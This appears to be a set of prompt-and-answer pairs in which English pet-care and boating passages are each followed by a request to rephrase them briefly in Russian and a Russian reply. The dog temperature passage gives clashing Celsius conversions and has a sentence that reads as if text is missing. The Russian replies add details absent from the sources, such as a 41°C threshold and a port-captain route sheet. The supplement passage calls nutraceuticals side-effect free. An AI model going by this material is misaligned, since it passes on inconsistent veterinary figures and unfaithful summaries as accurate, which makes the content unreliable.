A normal temperature should be between 100 and 102.5 degrees Fahrenheit (37.7 and 39.4 degrees Celsius). Readings above 102.5 degrees Fahrenheit (39 degrees Celsius) are considered elevated. Temperatures below 100 degrees Fahrenheit (38 degrees Celsius) are considered low. If the temperature is too low, the thermometer may not be inserted far enough in the ear or the rectum, or it could be inserted into feces. If the temperature is too high and the dog is excited or really resisted handling, let the dog rest for 10 minutes and recheck. This is very dangerous to your animal and should be considered a medical emergency. If your veterinarian is not open or available, take your dog to the nearest emergency animal hospital. This is especially important if there are other indicators of illness, such as lethargy or lack of interest in food. Make an appointment to go in that day.

How would you rephrase that briefly using Russian?

Проверьте показания термометра. Повторно перепроверьте температуру, если показания термометра отклоняются от нормальных значений. Немедленно обратитесь к ветеринару, если у питомца жар выше 41 градуса Цельсия. Свяжитесь с ветеринаром, если у собаки температура выше 39,4 градусов Цельсия.


A number of factors should be considered before choosing deciding when and where you plan to go:   Weather: Conditions in the channel vary dramatically, with shifting swells, high waves, and fog making the trip an even greater challenge. Anyone planning to make the voyage should consult the NOAA Weather Service (phone), the Channel Islands Internet Weather Kiosk (online), or weather radio via VHF-FM 162.475 MHz (marine forecast), VHF-FM 162.55 MHz, or VHF-FM 162.40 MHz (land-based observations).  Shipping Lanes: The trip across the channel will take boaters through some of the busiest shipping lanes on the California coast. Those making the trek should be aware of where the shipping lanes are and use extreme caution when crossing them. Additionally, the waters in and around the islands are occasionally shut down for military exercises.  General information: Before making the trip, all boaters should seek out the U.S. Coast Guard’s “Local Notice to Mariners,” which can be obtained by contacting the USCG directly. Nautical charts can be purchased at nearby marine stores, at bookstores, or online. It is suggested that boaters consult each island’s respective park ranger before landing. Boaters can use a VHF channel to hail the rangers, who will then ask the boater to switch to a different channel for the purpose of providing a brief orientation, landing instructions, and other details. Here is a brief look at landing protocol for the five major islands:   Santa Barbara Island: No permit is required. Boaters must access the island through the landing cove, as dock access is limited to unloading vessels.  Anacapa Island: No permit is required for boats landing at East Anacapa or Frenchy’s Cove. A permit is required for boats landing at Middle Anacapa and a park ranger must accompany any visitors. Access to West Anacapa is prohibited. Boaters may not use moorings located at East Anacapa; these are reserved for other boats. Visitors must tie their boats a reasonable distance from these moorings. Permits can be...

How would you rephrase that briefly using Russian?

Определите, до какого острова вы хотите добраться, и наметьте курс. Изучите информацию о правилах швартовки на выбранном вами острове. Перед отплытием из порта вам необходимо заполнить путевой (маршрутный) лист, который сдается капитану порта. Счастливого пути!


A nutraceutical is a food supplement with a drug-like action. Nutraceuticals are side-effect free and therefore safer than pharmaceuticals; they also have the advantage of being non-prescription. Two nutraceuticals relevant to joint health are chondroitin and glucosamine. These two molecules are "synergistic", which means they have a greater effect when given together than either does by itself. The theory behind glucosamine and chondroitin is that they provide the building blocks for cartilage repair and also improve the quality of joint fluid.  The aim is to nourish cartilage and optimize its health to protect against further chips and damage. They also help to increase the viscosity (or thickness) of joint fluid, which makes for better lubrication. However, there is a great deal of debate among veterinary scientists as to whether glucosamine and chondroitin can live up to these claims. Despite this, a lot of animals do seem to benefit, and since the supplement is unlikely to do any harm, and if cost is not a factor, there is nothing to be lost by using this supplement. Glucosamine and chondroitin are marketed in palatable veterinary formulations, but human supplements are also suitable for use in dogs.  A typical dose for a dog under 10 kg (22 lb) is 500mg of glucosamine and 400mg of chondroitin, daily. Overdose is unlikely. In arthritic animals, these food supplements must be taken for life.

How would you rephrase that briefly using Russian?

Ознакомьтесь с принципом действия пищевых добавок. Учтите, что насчет эффективности глюкозамина и хондроитина до сих пор ведутся споры. Подумайте, не давать ли своей собаке глюкозамин и хондроитин.


A nutritious diet will help keep your cat healthy, which may lead to less shedding.  Look for wet cat food that lists specific meats (like chicken, beef, or fish) as the first two or three ingredients. Because cats need animal-based protein, these are vital to a healthy cat’s diet.  Dry cat foods and low-quality wet foods contain a lot of grains or other carbohydrates like wheat, corn, and soy. These ingredients are not as nutritious for cats as meat-based proteins.  They may even cause allergic or digestive issues that lead to dry skin and shedding. Overweight cats have more difficulty grooming themselves and are prone to having more loose fur.  You can tell if you cat is overweight if you can’t feel its ribs without pressing. If you don’t see a narrowing waist in front of the hips when looking at the cat from above, this is another warning sign.  A veterinarian can give your cat a specific diet plan if needed. You can also try reducing your cat’s intake to the recommended amounts and refraining from giving treats. Play with your cat regularly so it gets enough exercise. Omega-3 and omega-6 fatty acids are particularly important to keeping a cat’s skin and fur healthy. This can help reduce shedding.  You can find omega fatty acids in wet cat foods that contain salmon oil or flax oil. You can also buy omega fatty acid supplements that you can feed your cat separately or mix into its food. Your vet is best able to judge appropriate diet modifications. But, adding omega fatty acids should be safe if you choose a supplement made for cats and don’t go beyond the recommended amount. If your cat is scratching vigorously (and thus perhaps shedding more), it could be the result of fleas or parasites.  Look for dark flea feces near the base of the tail. If you discover fleas or flea feces, treat your cat for fleas. Then, keep your cat on a monthly flea-control regimen. Ask your veterinarian to help you choose a flea-control product. If you’re unable to trace the source of the itching, take your cat to the vet.  In...

How would you rephrase that briefly using Russian?

Кормите кошку высококачественным кормом и обеспечьте ей постоянный доступ к свежей воде. Помогите кошке с лишним весом привести его в норму. Увеличьте объем потребления кошкой омега жирных кислот. Следите за тем, чтобы у кошки не было блох и других паразитов.